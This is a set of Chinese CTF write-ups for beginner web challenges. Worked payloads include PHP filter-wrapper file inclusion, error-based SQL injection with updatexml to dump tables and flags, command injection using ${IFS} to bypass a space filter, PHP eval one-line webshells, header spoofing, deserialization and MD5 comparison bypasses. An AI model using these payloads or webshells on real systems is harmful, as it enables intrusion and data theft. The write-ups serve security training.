nssctf web

[SWPUCTF 2021 新生赛]include

知识点:php伪协议

1
2
#题目:
传入一个file试试

file伪协议例子:

1
include.php?file=file://C:desktop

自己尝试:

1
靶机地址/?file=file   #说明:可以:/?file=…一个随意参数

得到了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
show_source(__FILE__);
echo 'flag 在flag.php中';
}else{
echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

最终解法:

在url栏:

1
靶机地址/?file=php://filter/convert.base64-encode/resource=flag.php

得到base64加密的flag

[SWPUCTF 2021 新生赛]error

知识点:sql注入

自己的尝试:

输入

1
'"select * from * where 1=1

发现url处:

1
http://node4.anna.nssctf.cn:28629/index.php?id=%27%22select+*+from+*+where+1%3D1

而且页面提示:

1
2
3
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"select * from * where 1=1' LIMIT 0,1' at line 1
#翻译
您的 SQL 语法有错误;检查与您的 MariaDB 服务器版本相对应的手册,了解在第 1 行“select *”LIMIT 0,1”附近使用的正确语法

由此我们得知其用的数据库为:MariaDB server

而且我们得知"select * from * where 1=1这段是有效的

此类sql注入属于报错注入

用下面语句让错误信息提供数据库名称

1
"'and(select extractvalue(1,concat('~',(select database()))))#

得知数据库名叫:test_db

[SWPUCTF 2021 新生赛]easy_sql

知识点:sql注入

拓展阅读:https://www.cnblogs.com/GTL-JU/p/16054806.html

靶机提示:参数为wllm,wllm是日志相关的参数,默认为1

我们试着在url后面加/?wllm=-1

1
2
url/?wllm=-1
url/?wllm=-1'select *

发现显示了报错信息,判断可以用到报错注入

网上搜索报错注入的常规方法

updatexml()

updatexml 函数用于更新 XML 文档中的节点值。

1
url/?wllm=-1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir%20 ),1) --+

concat()

concat() 函数用于将多个字符串连接在一起.

  • 0x7e:表示波浪号 (~)。
  • database():返回当前数据库的名称。
  • 0x7e:表示波浪号 (~)。
  • user():返回当前用户的名称。
  • 0x7e:表示波浪号 (~)。
  • @@datadir:返回数据文件所在的目录。

因此这条语句将返回数据库的名称、用户名、数据文件所在目录,中间用~隔开

table_name

分开看比较清楚:

这一步用来爆出所有表的名称

1
2
3
4
5
6
7
url/?wllm=-1' and updatexml(1,concat((

select group_concat(table_name)
from information_schema.columns
where table_schema=database()

) ),1) --+

table_schema 来指定表名

1
table_schema = test

得到了报错

1
XPATH syntax error: ',test_tb,users,users,users'

由此得到了table_names= ‘,test_tb,users,users,users’

column_name

这一步用来爆出所有列的名称

在上一步里把table_name改为column_name即可

1
url/?wllm=-1' and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_schema=database()) ),1) --+

得到

1
XPATH syntax error: ',flag,id,username,password'

读列:

1
url/?wllm=-1' and updatexml(1,concat((select group_concat(flag) from test_tb ) ),1) --+

显示

1
XPATH syntax error: '{10e50f48-ac3d-4d07-b307-b996b84'

发现回显不全,于是用到

mid()

SQL 的 MID() 函数用于从文本字符串中提取子字符串。该函数接受以下参数:

  • **text**:要提取子字符串的文本字符串。
  • **start**:子字符串的起始位置。
  • **length**:子字符串的长度。
1
2
3
4
mid(sql语句,1,38)   1~38:XPATH syntax error: '{10e50f48-ac3d-4d07-b307-b996b84'
mid(sql语句,33,6) 33后的几个字符 :XPATH syntax error: '466c3}'
具体代码:
url/?wllm=-1' and updatexml(1,concat(mid((select group_concat(flag) from test_tb )1,38) ),1) --+

合起来

1
XPATH syntax error: '{10e50f48-ac3d-4d07-b307-b996b84466c3}'

[SWPUCTF 2021 新生赛]easyrce

知识点:rce远程代码执行漏洞

  • RCE-远程代码执行:远程执行PHP代码
  • RCE-远程命令执行:远程执行Linux或者Windows等系统命令。

操作方法:

依然是在网站的url上进行操作

加上

1
2
靶机地址/?url=system('ls /');
靶机地址/?url=system('cat /flllllaaaaa');

[SWPUCTF 2021 新生赛]caidao

知识点:webshell

网站图片提示了一句话木马

1
@eval($_POST['wllm']);

用中国蚁剑连接查看目录可以得到flag

image-20240311232004542

还可以

post传⼊

1
wllm=echo 'cat /flag';

[SWPUCTF 2021 新生赛]Do_you_know_http

知识点:http协议 burpsuit重放器的使用

限制条件

1
2
3
1,Please use 'WLLM' browser!
2,You can only read this at local!
3,Your address221.15.81.206

用burpsuit抓包,然后右键点击发送到repeater

随后点击重放器

此时可以构造请求,在右侧还能看到相应

1
2
X-Forwarded-For:127.0.0.1
User-Agent: WLLM

两个条件都满足后,在响应里面看到了/secretttt.php,访问即可得到flag

image-20240312222105796

[第五空间 2021]WebFTP

知识点:目录扫描 dirsearch

用kali工具dirsearch扫描

1
2
3
git clone https://github.com/maurosoria/dirsearch
cd dirsearch
python3 dirsearch.py -u node4.anna.nssctf.cn:28435

发现关键文件:phpinfo.php

image-20240312224831658直接访问phpinfo.php,搜索flag即可出结果

[SWPUCTF 2021 新生赛]babyrce

知识点:Cookie注入 rce远程代码执行漏洞

题目

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?>

关键是需要让$_COOKIE[‘admin’]==1

如何进行Cookie注入?

1,抓包

2,修改数据(如果不熟悉http协议的话,可以在右侧的Inspector输入值添加)image-20240313171745663

看到响应出现/rasalghul.php,于是访问

回显:

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>

上面代码的作用,问问ai:

  1. 使用 error_reporting(0) 关闭错误报告。
  2. 使用 highlight_file(__FILE__) 高亮显示当前文件的代码。
  3. 再次使用 error_reporting(0) 关闭错误报告。
  4. 检查 $_GET 数组中是否包含 url 参数。
  5. 如果存在 url 参数,则将其赋值给变量 $ip
  6. 使用 preg_match("/ /", $ip) 检查 $ip 是否包含空格。
  7. 如果 $ip 包含空格,则输出错误信息 “nonono” 并退出程序。
  8. 使用 shell_exec($ip) 执行 $ip 指定的命令。
  9. 使用 echo $a 输出命令的执行结果。

由此得知:

我们不能直接使用空格

遂搜索“url中能代替空格的字符”,试试%20,不行,再用${IFS},可行,${IFS} 可以代替空格,因为它可以用于将输入字符串分割成单独的字段。他是bash shell中的

1
靶机地址/rasalghul.php?url=ls${IFS}/;

回显

1
bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

访问

1
靶机地址/rasalghul.php?url=cat${IFS}/f*;

得到flag

[SWPUCTF 2021 新生赛]ez_unserialize

知识点:反序列化

image-20240313175443625

看f12,

1
User-agent: *Disallow 什么东西呢

是写在robots.txt中的一段参数

访问robots.txt试试

1
2
User-agent: *
Disallow: /cl45s.php

访问/cl45s.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

?>

关键是

1
2
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");

需要构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
  <?php
class wllm{

public function __construct($admin,$passwd){
$this->admin =$admin;
$this->passwd = $passwd;
}
}

$flag_raw = new wllm("admin","ctf");
$flag = serialize($flag_raw);
echo $flag.PHP_EOL;
?>

[SWPUCTF 2021 新生赛]easy_md5

知识点:MD5碰撞 0e绕过 数组绕过

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
highlight_file(__FILE__);
include 'flag2.php';

if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}

}
else {
echo 'wrong!';
}
?>

关键是

1
if ($name != $password && md5($name) == md5($password))

md5相同,本身的值却不同?

这样的称为MD5碰撞

去搜索引擎搜索md5碰撞案例

常见的md5加密后以0e开头的字符串。
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a

值得注意的是:GET请求将参数包含在URL中,而POST请求将参数放在请求正文中。

因此需要把get,也就是name,传给url,把post,也就是password,传给请求正文

1
/?name=QNKCDZO

post:

1
password=s878926199a

image-20240314211923865

方法二: 可以传递数组,如name[]=123,password[]=456,md5不能加密数组,故两个md5返回的都是null

[LitCTF 2023]我Flag呢?

知识点:f12

f12以下即可

[SWPUCTF 2021 新生赛]easyupload2.0

知识点:文件上传漏洞

思路:上传木马文件,然后用webshell管理软件控制后台

1
<?php @eval($_POST['password']);?>